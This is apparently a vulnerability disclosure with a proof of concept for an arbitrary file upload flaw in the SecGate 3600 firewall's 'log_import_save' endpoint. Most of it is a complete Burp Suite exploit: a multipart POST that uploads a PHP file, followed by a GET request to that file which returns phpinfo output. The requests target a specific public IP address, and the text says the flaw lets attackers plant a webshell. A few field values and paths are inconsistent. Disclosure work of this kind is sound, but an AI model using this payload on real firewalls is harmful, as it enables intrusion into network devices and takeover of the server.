

Wangshen SecGata 3600 Firewall

log_import_save arbitrary file upload vulnerability

Vulnerability details

Wangshen SecGata 3600 Firewall log_import_save arbitrary file upload vulnerability, Attackers can obtain server privileges by uploading webshell.

Vulnerability location

`/?g=log_import_save`

Vulnerability recurrence

According to the code audit, it was found that when `$post_submit-action=='log_import_save'` there were no restrictions on the types of uploaded files, resulting in the existence of arbitrary file upload vulnerabilities

<?php phpinfo();?>

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Content-Disposition: form-data; name="submit_post"

net_pro_keyword_import_save

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Case 1:

URL: <https://112.31.19.176:8889/>

The screenshot displays the Burp Suite interface with a POST request on the left and its corresponding HTML response on the right.

Request Details:

- Method: POST
- URL: /?g=log_import_save HTTP/1.1
- Host: 112.31.19.176:8889
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Sec-GPC: 1
- Connection: close
- Upgrade-Insecure-Requests: 1
- X-Forwarded-For: 0000:0000:0000:0000
- X-Originating-IP: 0000:0000:0000:0000
- X-Remote-IP: 0000:0000:0000:0000
- X-Remote-Addr: 0000:0000:0000:0000
- Content-Type: multipart/form-data; boundary=-----152636015
- Content-Length: 261

Request Body (Form Data):

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Content-Disposition: form-data; name="reqfile"; filename="0.php"

Content-Type: text/plain

<?php phpinfo();?>

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Content-Disposition: form-data; name="submit_post"

net_pro_keyword_import_save

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Response Details:

- Status: HTTP/1.1 302 Found
- Set-Cookie: __s_sessionid=pun70npugi5g6cm1t1f02h3c07; path=/
- Expires: Thu, 19 Nov 1981 08:52:00 GMT
- Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
- Pragma: no-cache
- Location: /?permission_error=1
- Content-type: text/html
- Connection: close
- Date: Wed, 15 May 2024 08:46:05 GMT
- Content-Length: 5308

Response Body (HTML):

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<meta name="author" content="网神信息技术(北京)股份有限公司" />

<link rel="shortcut icon" type="image/ico" href="/templates/default/favicon.ico">

<title>网神SecGate 3600防火墙</title>

<link rel="stylesheet" href="/css/lsec/style.css" type="text/css">

<link rel="stylesheet" href="/css/lsec/menu_button.css" type="text/css">

<link rel="stylesheet" type="text/css" href="/css/lsec/jquery-jvert-tabs-1.1.4.css" />

<script src="/js/language/language.js" type="text/javascript"></script>

<script src="/js/func/ngfw_unicode.js" type="text/javascript"></script>

<!--

<SCRIPT SRC="/js/jquerylib/jquery-1.7.2.min.js" TYPE="text/javascript" CHARSET="utf-8"></SCRIPT>

<script src="/js/jquerylib/jquery.extens.js" type="text/javascript"></script>

<script src="/js/jquerylib/doT.min.js" type="text/javascript"></script>

<script src="/js/jquerylib/jquery.easyui.min.js" type="text/javascript"></script>

<!--

<script src="/js/func/function.js" type="text/javascript"></script> -->

<script src="/js/func/component.js" type="text/javascript"></script>

<link rel="stylesheet" href="/css/easyui/easyui.css" type="text/css">

Use BurpSuite Send payload

Then visit: <https://112.31.19.176:8889/attachements/0.php>

Go Cancel < >

Request

Raw Params Headers Hex

GET /attachelements/0.php HTTP/1.1
Host: 112.31.19.176:8889
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Sec-GPC: 1
Connection: close
Referer: https://112.31.19.176:8889/
Cookie: __s_sessionid__=riv08b0mge8ap0tvrbv3meptv2
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 0000:0000:0000:0000
X-Originating-IP: 0000:0000:0000:0000
X-Remote-IP: 0000:0000:0000:0000
X-Remote-Addr: 0000:0000:0000:0000

Target: https://112.31.19.176:8889 ?

Response

Raw Headers Hex HTML Render MarkInfo

PHP Version 5.3.9RC4

System	Linux SecGate3600 2.6.32-ngfw #8 SMP Thu Sep 1 00:54:01 GMT 2016 x86_64
Build Date	Nov 30 2015 11:18:11
Configure Command	'./configure' '--build=x86_64-redhat-linux-gnu' '--host=x86_64-redhat-linux-' '--target=x86_64-redhat-linux-gnu' '--program-prefix=' '--prefix=/usr' '--exec-prefix=/usr' '--bindir=/usr/bin' '--sbindir=/usr/sbin' '--sysconfdir=/etc' '--datadir=/usr/share' '--includedir=/usr/include' '--libdir=/usr/lib64' '--libexecdir=/usr/libexec' '--localstatedir=/var' '--sharedstatedir=/var/lib' '--mandir=/usr/share/man' '--infodir=/usr/share/info' '--cache-file=../config.cache' '--with-libdir=lib64' '--with-config-file-path=/etc' '--with-config-file-scan-dir=/etc/php.d' '--with-pic' '--disable-rpath' '--without-bz2' '--with-exec-dir=/usr/bin' '--with-freetype-dir=/usr' '--with-png' '--enable-gd-native-ttf' '--with-xpm-dir=/usr' '--with-gettext' '--with-iconv' '--with-jpeg-dir=/usr' '--with-openssl' '--with-pcre-regex' '--with-zlib' '--enable-magic-quotes' '--enable-sockets' '--without-sqlite' '--with-libxml-dir' '--enable-xslt' '--enable-force-cgi-redirect' '--enable-pcntl' '--enable-mbstring' '--enable-mbregex' '--with-gd=shared' '--enable-xmldr=shared' '--enable-xmlwriter=shared' '--with-curl=shared,/usr' '--enable-fastcgi' '--enable-jion=shared' '--enable-zip=shared' '--without-readline' '--enable-phar' '--enable-fileinfo=shared' '--enable-intl=shared' '--with-icu-dir=/usr'
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc
Loaded Configuration File	/etc/php.ini